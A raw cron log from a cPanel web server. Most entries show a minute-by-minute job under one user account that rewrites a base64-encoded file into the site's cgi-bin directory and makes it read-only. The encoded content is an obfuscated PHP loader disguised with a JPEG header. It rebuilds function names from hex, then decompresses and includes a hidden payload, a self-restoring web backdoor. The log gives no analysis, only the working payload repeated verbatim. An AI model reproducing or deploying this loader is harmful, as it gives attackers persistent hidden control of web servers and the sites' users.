Nov 15 22:11:01 server CROND[4084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:12:01 server CROND[4358]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 22:12:01 server CROND[4359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:13:01 server CROND[4726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:14:01 server CROND[5000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:15:01 server CROND[5277]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:15:01 server CROND[5278]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:15:01 server CROND[5279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:15:01 server CROND[5280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:16:01 server CROND[5604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:17:01 server CROND[5870]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:18:01 server CROND[6245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:19:01 server CROND[6516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:20:01 server CROND[6802]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 22:20:01 server CROND[6804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:20:01 server CROND[6807]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 22:20:01 server CROND[6805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:20:01 server CROND[6806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:21:01 server CROND[7141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:22:01 server CROND[7424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:23:01 server CROND[7714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
